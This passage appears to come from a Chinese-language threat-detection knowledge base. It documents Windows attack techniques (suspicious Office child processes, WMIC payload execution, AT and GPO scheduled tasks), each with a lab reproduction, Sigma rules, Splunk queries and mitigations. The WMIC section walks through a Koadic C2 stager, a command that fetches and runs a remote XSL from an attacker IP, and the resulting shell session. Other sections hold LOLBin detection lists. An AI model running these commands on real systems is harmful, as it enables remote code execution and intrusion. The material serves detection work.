'\Microsoft.Workflow.Compiler.exe' - '\arp.exe' - '\atbroker.exe' - '\bginfo.exe' - '\bitsadmin.exe' - '\cdb.exe' - '\certutil.exe' - '\cmd.exe' - '\cmstp.exe' - '\cscript.exe' - '\csi.exe' - '\dnx.exe' - '\dsget.exe' - '\dsquery.exe' - '\forfiles.exe' - '\fsi.exe' - '\ftp.exe' - '\gpresult.exe' - '\hostname.exe' - '\ieexec.exe' - '\iexpress.exe' - '\installutil.exe' - '\ipconfig.exe' - '\mshta.exe' - '\msxsl.exe' - '\nbtstat.exe' - '\net.exe' - '\net1.exe' - '\netsh.exe' - '\netstat.exe' - '\nltest.exe' - '\odbcconf.exe' - '\ping.exe' - '\powershell.exe' - '\pwsh.exe' - '\qprocess.exe' - '\quser.exe' - '\qwinsta.exe' - '\rcsi.exe' - '\reg.exe' - '\regasm.exe' - '\regsvcs.exe' - '\regsvr32.exe' - '\sc.exe' - '\schtasks.exe' - '\systeminfo.exe' - '\tasklist.exe' - '\tracert.exe' - '\whoami.exe' - '\wmic.exe' - '\wscript.exe' - '\xwizard.exe' condition: selection falsepositives: - 合法的Office自动化脚本 - 管理员运行的测试或维护任务 level: high ``` 4. **SIEM规则**: - 检测MS Office进程启动可疑子进程。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 ParentImage IN ("*\\winword.exe", "*\\excel.exe", "*\\powerpnt.exe", "*\\msaccess.exe", "*\\mspub.exe", "*\\eqnedt32.exe", "*\\fltldr.exe") Image IN ("*\\cmd.exe", "*\\powershell.exe", "*\\certutil.exe", "*\\whoami.exe") | stats count by ParentImage, Image, CommandLine, ComputerName ``` 5. **威胁情报整合**: - 检查子进程的命令行参数(如URL、IP)是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御鱼叉式网络钓鱼附件和可疑MS Office子进程需从邮件安全和系统加固入手: 1. **邮件安全控制** - 部署邮件网关,过滤包含恶意附件的鱼叉式网络钓鱼邮件。 - 阻止或沙箱可疑附件(如Office文档、压缩文件)。 - 示例工具:Microsoft Defender for Office 365、Proofpoint。 2. **Office宏限制** - 禁用Office宏,或仅允许签名宏运行。 - 示例Windows组策略设置: - 路径:`用户配置->管理模板->Microsoft Word->信任中心->宏设置->禁用所有宏` 3. **应用程序白名单** - 配置应用程序白名单,限制未经授权的子进程运行。 - 示例工具:Windows AppLocker、CrowdStrike。 4. **用户教育** - 培训用户识别鱼叉式网络钓鱼邮件,避免打开未知附件或启用宏。 - 教授用户验证邮件发件人和附件安全性。 5. **系统加固** - 保持Office和Windows系统更新,修补已知漏洞。 - 启用ASLR和DEP,降低漏洞利用的成功率。 ### 检测 检测工作应集中在MS Office子进程的异常行为上,包括但不限于: - **进程监控**:分析Sysmon或Windows安全日志,检测MS Office进程启动的可疑子进程(如`cmd.exe`、`powershell.exe`)。 - **网络行为**:监控子进程引发的异常网络活动(如下载恶意文件)。 - **行为分析**:通过EDR检测宏执行或异常Office行为。 - **威胁情报整合**:结合威胁情报,检查子进程的命令行参数是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1566.001 - 检测可疑的MS Office子进程 ================================================ FILE: Windows/04执行/T1047-win-使用Wmic执行payload(白名单).md ================================================ # T1047-Win-使用WMIC执行payload(白名单) ## 描述 攻击者可能利用Windows Management Instrumentation(WMI)与本地或远程系统交互,执行多种策略功能,如信息收集、远程命令执行或横向移动(T1047)。WMI是Windows管理功能的核心组件,提供统一的环境来访问系统组件,依赖WMI服务(`winmgmt`)以及SMB(端口445)和RPC(端口135)进行远程访问。 WMIC(WMI Command-line)是WMI的命令行接口,允许攻击者通过脚本或命令行调用WMI功能。攻击者可能利用WMIC执行恶意Payload,例如通过`/FORMAT`参数加载远程XSL文件或直接运行命令。由于WMIC是Windows内置工具,属于白名单进程,其行为可能被误认为是合法操作,从而增加检测难度。常见的攻击场景包括下载恶意脚本、启动恶意进程或建立反弹Shell。 ## 测试案例 Wmic.exe所在路径已被系统添加PATH环境变量中,因此,Wmic命令可识别,需注意x86,x64位的Wmic调用。 Windows 2003 默认位置: ```dos C:\WINDOWS\system32\wbem\wmic.exe C:\WINDOWS\SysWOW64\wbem\wmic.exe ``` Windows 7 默认位置: ```dos C:\Windows\System32\wbem\WMIC.exe C:\Windows\SysWOW64\wbem\WMIC.exe ``` 补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含WMIC的命令行参数和子进程信息。 - **事件ID 4624/4625**:记录登录成功或失败,可能涉及WMI远程访问的凭据使用。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含WMIC的完整命令行和父进程信息。 - **事件ID 3**:记录网络连接,可能涉及WMIC加载远程XSL文件的HTTP请求。 **配置日志记录** - 启用命令行参数记录:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程和网络活动监控。 ## 测试复现 ### 环境准备 攻击机:Kali2019 靶机:win7 ### 攻击分析 #### Koadic 通过Koadic发起Wmic.exe攻击 koadic是一个命令控制(C2)工具,类似Metasploit和Powershell Empire。使用koadic我们生成恶意XSL文件。koadic安装完成后,您可以运行./koadic文件以启动koadic,然后通过运行以下命令开始加载stager/js/wmic程序,并将SRVHOST设置为程序回连IP。 ```bash git clone https://github.com/zerosum0x0/koadic.git #安装命令 cd koadic pip3 install -r requirements.txt ``` ```bash #加载载荷 ./koadic (koadic: sta/js/mshta)# use stager/js/wmic (koadic: sta/js/wmic)# set SRVHOST 192.168.126.146 [+] SRVHOST => 192.168.126.146 (koadic: sta/js/wmic)# run [+] Spawned a stager at http://192.168.126.146:9996/6G69i.xsl [>] wmic os get /FORMAT:"http://192.168.126.146:9996/6G69i.xsl" ``` #### 靶机执行payload 执行WMIC以下命令,从远程服务器下载和运行恶意XSL文件: ```cmd wmic os get /FORMAT:"http://192.168.126.146:9996/6G69i.xsl" ``` 靶机测试结果 ```dos C:\Users\12306Br0>wmic os get /FORMAT:"http://192.168.126.146:9996/6G69i.xsl" os get /FORMAT:"http://192.168.126.146:9996/6G69i.xsl"12306BR0-PCroot\cimv2roo t\cliIMPERSONATEPKTPRIVACYms_804ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON\Device\Hardd iskVolume17601Multiprocessor FreeMicrosoft Windows 7 旗舰版 93686Win32_Operating SystemWin32_ComputerSystemService Pack 112306BR0-PC480TRUETRUETRUE2FALSEFALSE256 29608362009844309911620200305144428.000000+48020200305151330.500000+480202004171 72815.995000+4800804Microsoft Corporation-18589934464zh-CNMicrosoft Windows 7 旗 舰版 |C:\Windows|\Device\Harddisk0\Partition2422164-bit205225618TRUE112306Br0004 26-292-0000007-85792102343416OK272\Device\HarddiskVolume2C:\Windows\system32C:44 4004820966326.1.7601C:\Windows ``` #### 反弹shell 一旦恶意的XSL文件在目标计算机上执行,将有一个连接,就像Metasploit回连的情况一样。 ```bash [+] Zombie 0: Staging new connection (192.168.126.149) on Stager 0 [+] Zombie 0: 12306Br0-PC\12306Br0 @ 12306BR0-PC -- Windows 7 Ultimate [!] Zombie 0: Timed out. [+] Zombie 0: Re-connected. (koadic: sta/js/wmic)# zombies 0 ID: 0 Status: Alive First Seen: 2020-04-17 17:28:31 Last Seen: 2020-04-17 17:29:04 Listener: 0 IP: 192.168.126.149 User: 12306Br0-PC\12306Br0 Hostname: 12306BR0-PC Primary DC: Unknown OS: Windows 7 Ultimate OSBuild: 7601 OSArch: 64 Elevated: No User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Session Key: 02149f1202e3437ab7932672c0c9e6b5 JOB NAME STATUS ERRNO ---- --------- ------- ------- ``` ## 测试留痕 ```log # sysmon日志 EventID: 1 Image: C:\Windows\System32\wbem\WMIC.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: WMI Commandline Utility Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: wmic.exe CommandLine: wmic os get /FORMAT:"http://192.168.126.146:9996/6G69i.xsl" # win7安全日志 EventID:4688 进程信息: 新进程 ID: 0x888 新进程名: 'C:\Windows\System32\wbem\WMIC.exe' ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon和Windows安全日志,检测WMIC执行可疑命令或加载远程资源的异常行为。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,提取WMIC进程(`wmic.exe`)的命令行参数。 - 检测可疑行为,如加载远程XSL文件(`/FORMAT:http`)、创建进程(`process call create`)或执行异常命令。 2. **Sigma规则**: ```yaml title: 可疑的WMIC Payload执行 id: 4e7b8c9d-3f2a-4b1c-a9e4-1f2d3c4e5f6b status: experimental description: 检测WMIC执行可疑命令或加载远程XSL文件,可能表明恶意Payload执行 date: 2025/06/06 logsource: category: process_creation product: windows detection: selection: Image|endswith: '\wmic.exe' CommandLine|contains: - '/FORMAT:http' - 'process call create' - 'node' - 'alias' condition: selection falsepositives: - 合法的WMIC管理脚本 - 管理员运行的维护任务 level: high ``` 3. **SIEM规则**: - 检测WMIC加载远程资源或启动可疑进程。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\wmic.exe" (CommandLine="*/FORMAT:http*" OR CommandLine="*process call create*") | stats count by Image, CommandLine, ComputerName ``` 4. **网络流量分析**: - 监控WMIC发起的HTTP请求,检测对可疑URL的访问。 - 示例Wireshark过滤器: ```plaintext http.request and ip.src == and http.request.uri contains ".xsl" ``` 5. **威胁情报整合**: - 检查WMIC访问的URL或IP是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御WMIC滥用需从进程监控、访问控制和系统加固入手: 1. **限制WMIC使用** - 配置应用程序白名单(如AppLocker),限制非授权用户运行`wmic.exe`。 - 禁用WMI服务(`winmgmt`)或限制其远程访问,除非必要。 2. **网络访问控制** - 限制WMI相关端口(SMB:445、RPC:135)的公网访问,仅允许白名单IP。 - 配置防火墙阻止WMIC的异常HTTP请求。 3. **凭据保护** - 启用多因素认证(MFA),降低凭据被盗导致的WMI远程访问风险。 - 使用强密码策略,避免弱密码或密码重用。 4. **日志和监控** - 启用命令行参数记录,增强Windows安全日志(事件ID 4688)或Sysmon(事件ID 1)监控。 - 配置SIEM检测WMIC的异常命令行模式。 ## 参考推荐 - MITRE ATT&CK: T1047 - Windows下基于白名单获取Shell的方法整理 ================================================ FILE: Windows/04执行/T1047-win-通过WMIC创建远程进程.md ================================================ # T1047-Win-通过WMIC创建远程进程 ## 描述 攻击者可能利用Windows Management Instrumentation(WMI)与本地或远程系统交互,执行多种战术功能,如信息收集、远程命令执行或横向移动(T1047)。WMI是Windows管理功能的核心组件,提供统一的环境来访问系统组件,依赖WMI服务(`winmgmt`)以及服务器消息块(SMB,端口445)和远程过程调用(RPC,端口135)进行远程访问。 WMIC(WMI Command-line)是WMI的命令行接口,允许攻击者通过`wmic.exe`执行远程进程创建,例如使用`process call create`命令在目标主机上启动可执行文件或脚本。这种技术常用于横向移动,因为WMIC是Windows内置工具,属于白名单进程,难以被传统安全工具检测。攻击者可能通过构造类似`wmic.exe /node:"" process call create ""`的命令,远程执行恶意Payload。 ## 测试案例 1. **远程执行恶意可执行文件** 攻击者使用WMIC在远程主机上启动恶意可执行文件(如`malware.exe`),实现横向移动。 2. **运行恶意脚本** 攻击者通过WMIC远程调用PowerShell脚本,执行恶意操作,如下载Payload或建立反弹Shell。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含WMIC的命令行参数、父进程和子进程信息。 - **事件ID 4624/4625**:记录远程登录成功或失败,可能涉及WMI使用的凭据。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含WMIC的完整命令行和父进程信息。 - **事件ID 3**:记录网络连接,可能涉及WMI的SMB或RPC流量。 - **事件ID 7**:记录模块加载,可能涉及加载恶意DLL。 **网络日志** - 记录SMB(端口445)或RPC(端口135)的异常流量,表明WMI远程访问。 **配置日志记录** - 启用命令行参数记录:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程和网络活动监控。 ## 测试复现 源主机执行:wmic.exe /node:"\" process ![test](https://s2.ax1x.com/2019/12/10/QDncB4.png) ## 测试留痕 事件ID,进程命令行参数,进程名称 ## 检测规则/思路 **检测规则** 通过分析Sysmon和Windows安全日志,检测WMIC远程创建进程的异常行为。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,提取WMIC进程(`wmic.exe`)的命令行参数。 - 检测包含`/node`和`process call create`的命令,表明远程进程创建。 2. **Sigma规则**: ```yaml title: 通过WMIC创建远程进程 id: 6a7b8c9d-4f2a-4b1c-a9e5-1f2e3c4d5e6f status: stable description: 检测WMIC通过远程进程创建执行命令,可能表明横向移动 author: 12306Bro date: 2025/06/06 logsource: category: process_creation product: windows detection: selection: EventID: 4688 # 进程创建 Image|endswith: '\wmic.exe' CommandLine|contains: - '/node:' - 'process call create' condition: selection falsepositives: - 合法的WMI管理脚本 - 管理员运行的远程维护任务 level: medium ``` 3. **SIEM规则**: - 检测WMIC的远程进程创建行为。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\wmic.exe" CommandLine="*/node:*process call create*" | stats count by Image, CommandLine, ComputerName, User ``` 4. **网络流量分析**: - 监控SMB(端口445)和RPC(端口135)的异常流量,检测WMI远程连接。 - 示例Wireshark过滤器: ```plaintext tcp.port == 445 or tcp.port == 135 and ip.src == ``` 5. **威胁情报整合**: - 检查WMIC命令的目标主机或命令行参数是否涉及已知恶意IP/文件,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御WMIC远程进程创建需从访问控制、权限管理和监控入手: 1. **限制WMI访问** - 配置防火墙,限制SMB(端口445)和RPC(端口135)的外部访问,仅允许白名单IP。 - 禁用WMI服务(`winmgmt`)或限制其远程访问,除非必要。 2. **应用程序白名单** - 使用AppLocker或类似工具,限制非授权用户运行`wmic.exe`。 3. **凭据保护** - 启用多因素认证(MFA),降低凭据被盗导致的WMI远程访问风险。 - 使用强密码策略,避免弱密码或密码重用。 4. **日志和监控** - 启用命令行参数记录,增强Windows安全日志(事件ID 4688)或Sysmon(事件ID 1)监控。 - 配置SIEM检测WMIC的`/node`和`process call create`命令。 ### 检测 检测工作应集中在WMIC的远程进程创建行为上,包括但不限于: - **进程行为监控**:分析Sysmon或Windows安全日志,检测WMIC的`/node`和`process call create`命令。 - **网络流量分析**:监控SMB和RPC端口的异常连接,识别WMI远程访问。 - **行为分析**:通过EDR检测WMIC执行后的异常活动(如启动恶意进程)。 - **威胁情报整合**:结合威胁情报,检查目标主机或命令行参数是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1047 - CAR-2016-03-002: 通过WMIC创建远程进程 - WMIC命令收集与整理 - WMIC内网使用 ================================================ FILE: Windows/04执行/T1053.002-Win-交互式at计划任务.md ================================================ # T1053.002-Win-交互式AT计划任务 ## 描述 攻击者可能利用Windows任务调度器,通过`at.exe`或`schtasks.exe`等实用程序在特定时间或系统启动时执行程序或脚本,从而实现持久化、横向移动、权限提升或以指定账户上下文运行进程(T1053.002)。`at`命令允许用户创建计划任务,特别是在Windows 7及更早版本中广泛使用。尽管自Windows 8起,`at`命令已被弃用并推荐使用`schtasks`,但Windows 7在许多环境中仍较常见。交互式AT任务(使用`/interactive`参数)允许用户与任务交互,可能导致提权或恶意行为。 远程调度任务需要通过RPC协议(端口135)进行身份认证,并启用文件和打印机共享(SMB,端口445)。攻击者通常需要目标系统的管理员权限才能执行远程任务。交互式AT任务的典型特征是生成`cmd.exe`或其他可执行文件,允许攻击者执行恶意命令或脚本。 ## 测试案例 1. **交互式AT任务提权** 攻击者使用`at`命令创建交互式任务,在特定时间启动`cmd.exe`,以高权限账户上下文执行恶意命令。 2. **远程任务执行** 攻击者通过`at`命令在远程系统上调度任务,运行恶意脚本以实现横向移动。 **at命令虽然自Win8系统起已经弃用,需要使用SCHTASKS命令了,但目前来看win7的使用范围还是很广泛的。** at time /interactive command -- 给用户一个与程序或命令参与交互的机会 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含`at.exe`的命令行参数和子进程信息。 - **事件ID 4624/4625**:记录登录成功或失败,可能涉及远程任务调度的凭据使用。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`at.exe`的完整命令行和父进程信息。 - **事件ID 3**:记录网络连接,可能涉及远程任务调度的SMB或RPC流量。 **配置日志记录** - 启用命令行参数记录:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程和网络活动监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 7,启用`at`服务(默认启用)。 - **日志**:配置Sysmon和Windows安全日志,记录进程创建(事件ID 4688、Sysmon ID 1)。 - **权限**:测试账户需具备本地管理员权限。 ### 攻击步骤 1. **创建交互式AT任务** 在靶机上执行以下命令,调度交互式任务: ```cmd at 17:28 /interactive cmd ``` 2. **验证任务** - 检查任务是否创建: ```cmd at ``` - 在指定时间(17:28),观察`cmd.exe`是否以交互式方式启动。 ## 测试留痕 - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\at.exe FileVersion: 6.1.7600.16385 Description: Schedule service command line interface Product: Microsoft® Windows® Operating System Company: Microsoft Corporation CommandLine: at 17:28 /interactive cmd User: 12306Br0-PC\12306Br0 IntegrityLevel: High ``` - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process ID: 0x9e4 New Process Name: C:\Windows\System32\at.exe Process Command Line: at 17:28 /interactive cmd Creator Process Name: C:\Windows\System32\cmd.exe ``` - **任务调度器日志**:记录任务创建和执行,可能位于`Microsoft-Windows-TaskScheduler/Operational`日志中。 ## 检测规则/思路 **检测规则** 通过分析Sysmon和Windows安全日志,检测`at.exe`创建交互式计划任务的异常行为。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,提取`at.exe`进程的命令行参数。 - 检测包含`/interactive`参数的任务,表明可能的提权或恶意行为。 2. **Sigma规则**: ```yaml title: 交互式AT计划任务 id: 8d7c9e0f-5a3b-4c2d-b9f6-2e3f4c5e6f7a status: stable description: 检测交互式AT计划任务,可能表明提权或持久化行为 author: 12306Bro date: 2020/06/06 references: - https://attack.mitre.org/techniques/T1053/002/ - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1053.002/T1053.002.md - https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html tags: - attack.persistence - attack.lateral_movement - attack.privilege_escalation - attack.t1053.002 logsource: category: process_creation product: windows detection: selection: EventID: 1 # Sysmon进程创建 Image|endswith: '\at.exe' CommandLine|contains: '/interactive' condition: selection falsepositives: - 合法的管理员计划任务 - 旧版系统管理脚本 level: medium ``` 3. **Windows安全日志规则**: - 检测`at.exe`创建交互式任务。 - 示例Splunk查询: ```spl source="WinEventLog:Security" EventCode=4688 "at.exe" "*/interactive*" | stats count by NewProcessName, ProcessCommandLine, ComputerName, AccountName ``` 4. **SIEM规则**: - 检测`at.exe`的异常任务创建行为。 - 示例Splunk查询(Sysmon): ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\at.exe" CommandLine="*/interactive*" | stats count by Image, CommandLine, ComputerName, User ``` 5. **威胁情报整合**: - 检查任务执行的命令(如`cmd.exe`后的操作)是否涉及已知恶意行为,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御交互式AT计划任务需从权限控制、系统加固和监控入手: 1. **限制AT命令使用** - 在Windows 7及更早版本中,限制非管理员用户运行`at.exe`(通过AppLocker或组策略)。 2. **禁用交互式任务** - 配置组策略,禁用交互式计划任务: - 路径:`计算机配置 > 管理模板 > Windows组件 > 任务计划程序 > 禁止交互式任务`。 3. **网络访问控制** - 限制SMB(端口445)和RPC(端口135)的外部访问,仅允许白名单IP。 - 配置防火墙阻止未经授权的远程任务调度。 4. **凭据保护** - 启用多因素认证(MFA),降低凭据被盗导致的远程任务调度风险。 - 使用强密码策略,避免弱密码或密码重用。 5. **日志和监控** - 启用命令行参数记录,增强Windows安全日志(事件ID 4688)或Sysmon(事件ID 1)监控。 - 配置SIEM检测`at.exe`的`/interactive`命令。 ### 检测 检测工作应集中在`at.exe`的交互式任务行为上,包括但不限于: - **进程行为监控**:分析Sysmon或Windows安全日志,检测`at.exe`使用`/interactive`参数创建任务。 - **任务调度器监控**:检查任务调度器日志,识别异常的交互式任务。 - **网络流量分析**:监控SMB和RPC端口的异常连接,检测远程任务调度。 - **威胁情报整合**:结合威胁情报,检查任务执行的命令是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1053.002 - CMD命令行计划任务设置-AT - Atomic Red Team: T1053.002 - Elastic Query: Interactive AT Job ================================================ FILE: Windows/04执行/T1053.002-Win-通过GPO计划任务进行大规模的持久性和执行.md ================================================ # T1053.002-Win-通过GPO计划任务进行大规模的持久性和执行 ## 描述 攻击者可能利用Windows任务调度器,通过`at.exe`或`schtasks.exe`等实用程序在特定时间或系统启动时执行程序或脚本,实现持久性、横向移动或大规模恶意活动(T1053.002)。通过组策略对象(GPO),攻击者可以在域环境中批量部署计划任务,特别是在远程系统上执行恶意Payload。这种方法尤其适合大规模部署勒索软件或恶意软件,因为GPO允许管理员(或被攻陷的管理员账户)在多个系统上配置任务。 GPO中的计划任务通常存储在`SYSVOL`共享目录下(如`\\\SYSVOL\\Policies\\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml`),并通过RPC(端口135)进行远程调度。攻击者可能利用已窃取的域管理员凭据修改GPO,将恶意任务分发到域内所有系统。检测重点在于监控`SYSVOL`共享的修改活动,尤其是计划任务文件的写入操作。 ## 测试案例 1. **通过GPO部署勒索软件** 攻击者修改GPO计划任务,调度勒索软件在多个域控制器和客户端上执行,加密文件并索要赎金。 2. **远程持久化** 攻击者利用GPO在域内系统上创建计划任务,定期执行恶意脚本以维持持久性。 ## 检测日志 **Windows安全日志** - **事件ID 5145**:记录对`SYSVOL`共享的访问,包含写入计划任务文件的活动。 - 需启用高级审核策略:`对象访问 > 审核详细文件共享`(成功/失败)。 - **事件ID 4688**:记录进程创建,包含`schtasks.exe`或相关进程的命令行参数。 - **事件ID 4624/4625**:记录登录成功或失败,可能涉及域管理员凭据使用。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含创建或修改计划任务的命令行信息。 - **事件ID 11**:记录文件创建或修改,可能涉及`ScheduledTasks.xml`。 **任务调度器日志** - **Microsoft-Windows-TaskScheduler/Operational**:记录计划任务的创建、更新或删除事件。 ## 测试复现 ### 环境准备 - **域环境**:配置Active Directory域控制器和至少一台客户端(Windows 7/10/Server)。 - **工具**:Group Policy Management Console (GPMC) 或PowerShell。 - **权限**:域管理员权限。 - **日志**:启用Windows安全日志(事件ID 5145)和Sysmon。 ### 攻击步骤 1. **访问GPO管理** 打开GPMC,创建一个新的GPO或编辑现有GPO: - 导航到`计算机配置 > 首选项 > 控制面板设置 > 计划任务`。 2. **创建恶意计划任务** 添加计划任务,例如运行恶意脚本: - 任务名称:`MaliciousTask` - 操作:启动程序(例如`cmd.exe /c calc.exe`)。 - 触发器:系统启动或特定时间。 - 保存GPO,应用到域内所有计算机。 3. **验证结果** - 检查`SYSVOL`共享中的计划任务文件: ```plaintext \\\SYSVOL\\Policies\\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml ``` - 在客户端上,任务调度器执行任务,启动计算器(`calc.exe`)。 ## 测试留痕 ![5145](https://s1.ax1x.com/2020/06/07/tRMhZQ.png) ## 检测规则/思路 **检测规则** 通过分析Windows安全日志和Sysmon日志,检测通过GPO创建或修改计划任务的异常行为。以下是具体思路: 1. **日志分析**: - 收集Windows安全事件ID 5145,监控`SYSVOL`共享的写入活动,重点关注`ScheduledTasks.xml`。 - 收集Sysmon事件ID 1,检测`schtasks.exe`的命令行参数,识别GPO相关任务创建。 2. **Sigma规则**: ```yaml title: 通过GPO计划任务进行大规模的持久性和执行 id: 9c7d8e0f-5a3b-4c2d-b9f6-2e3f4c5e6f7a status: stable description: 检测通过GPO计划任务的创建或修改,可能表明大规模持久性或勒索软件部署 author: 12306Bro date: 2024/06/06 references: - https://attack.mitre.org/techniques/T1053/002/ - https://twitter.com/menasec1/status/1106899890377052160 - https://www.secureworks.com/blog/ransomware-as-a-distraction tags: - attack.persistence - attack.lateral_movement - attack.t1053.002 logsource: product: windows service: security description: '必须为成功/失败配置高级审核策略设置“对象访问>审核详细文件共享”' detection: selection: EventID: 5145 ShareName|contains: '\\*\SYSVOL' RelativeTargetName|contains: 'ScheduledTasks.xml' Accesses|contains: 'WriteData' condition: selection falsepositives: - 合法的GPO更新或管理员维护 - 域控制器上的正常计划任务配置 level: high ``` 3. **Sysmon规则**: ```yaml title: GPO计划任务创建 id: 3e4f5a6b-7c8d-4e9f-a0b1-2c3d4e5f6a7b status: experimental description: 检测通过schtasks创建GPO计划任务,可能表明恶意持久性 date: 2025/06/06 logsource: category: process_creation product: windows detection: selection: EventID: 1 Image|endswith: '\schtasks.exe' CommandLine|contains: '/create /tn' condition: selection falsepositives: - 合法的软件安装或更新 - 管理员手动创建任务 level: medium ``` 4. **任务调度器日志规则**: - 监控`Microsoft-Windows-TaskScheduler/Operational`日志,检测计划任务的创建事件。 - 示例事件: - Windows 10/Server 2016:事件4698(创建任务)。 - Windows 7/Server 2008 R2:事件106(注册任务)。 - 示例Splunk查询: ```spl source="Microsoft-Windows-TaskScheduler/Operational" (EventCode=4698 OR EventCode=106) | stats count by TaskName, Action, User ``` 5. **威胁情报整合**: - 检查`SYSVOL`修改的源IP或任务执行的命令是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ### 其他检测思路 - **命令行监控**: 监控`schtasks.exe`或相关实用程序的命令行参数,检测通过GPO创建任务的模式。合法任务通常与软件安装或补丁周期相关,异常任务可能涉及未知脚本或可执行文件。 - **进程监控**: 监控`svchost.exe`(Windows 10)或`taskeng.exe`(旧版Windows)执行计划任务的进程。如果任务完成后立即删除,可能是攻击者隐藏痕迹的迹象。 - **文件系统监控**: 监控`%systemroot%\System32\Tasks`或`SYSVOL`中的`ScheduledTasks.xml`文件,检测与已知软件或常规维护无关的更改。使用工具如Sysinternals Autoruns对比历史数据,识别异常任务。 - **行为分析**: 将计划任务视为一系列行为的一部分,结合网络连接(命令与控制)、环境发现和横向移动的证据进行综合分析。 - **任务调度器日志**: 启用`Microsoft-Windows-TaskScheduler/Operational`日志,监控以下事件: - Windows 7/Server 2008 R2:事件106(注册任务)、140(更新任务)、141(删除任务)。 - Windows 10/Server 2016:事件4698(创建任务)、4699(删除任务)、4700(启用任务)、4701(禁用任务)、4702(更新任务)。 - **工具辅助**: 使用Sysinternals Autoruns等工具,检查计划任务中的异常条目,特别关注与已知软件或常规维护不符的任务。 ## 建议 ### 缓解措施 防御通过GPO计划任务的恶意活动需从权限控制、配置加固和监控入手: 1. **限制GPO修改权限** - 仅限域管理员修改GPO,定期审核GPO权限。 - 使用组策略首选项项锁定关键设置。 2. **禁用不必要的计划任务** - 配置组策略,限制非管理员创建计划任务: - 路径:`计算机配置 > 管理模板 > Windows组件 > 任务计划程序 > 禁止非管理员创建任务`。 3. **网络访问控制** - 限制`SYSVOL`共享(端口445)的外部访问,仅允许域控制器之间的通信。 - 配置防火墙阻止未经授权的RPC(端口135)流量。 4. **凭据保护** - 启用多因素认证(MFA)保护域管理员账户。 - 实施强密码策略,避免凭据泄露。 5. **日志和监控** - 启用详细文件共享审核(事件ID 5145)和任务调度器日志。 - 配置SIEM检测`SYSVOL`的写入活动和`schtasks.exe`的异常使用。 ### 检测 检测工作应集中在GPO计划任务的创建和修改行为上,包括但不限于: - **文件访问监控**:分析Windows安全日志(事件ID 5145),检测`SYSVOL`中`ScheduledTasks.xml`的写入。 - **进程行为监控**:分析Sysmon日志(事件ID 1),检测`schtasks.exe`创建任务的命令行。 - **任务调度器监控**:检查任务调度器日志,识别异常任务创建或更新。 - **威胁情报整合**:结合威胁情报,检查任务执行的命令或源IP是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1053.002 - 利用GPO中的计划任务实现远程执行 - GPO组策略安全 - 3gstudent: 利用GPO中的计划任务实现远程执行 ================================================ FILE: Windows/04执行/T1053.005-Win-schtasks本地计划任务.md ================================================ # T1053.005-Win-schtasks本地计划任务 ## 描述 攻击者可能利用Windows任务调度器,通过`schtasks.exe`实用程序在特定时间或系统启动时执行程序或脚本,实现持久性、横向移动、权限提升或以指定账户上下文运行进程(T1053.005)。与`at.exe`不同,`schtasks`是Windows XP及更高版本中用于管理计划任务的主要工具,支持本地和远程任务调度。远程调度任务需要通过RPC(端口135)进行身份认证,并启用文件和打印机共享(SMB,端口445),通常要求目标系统的管理员权限。 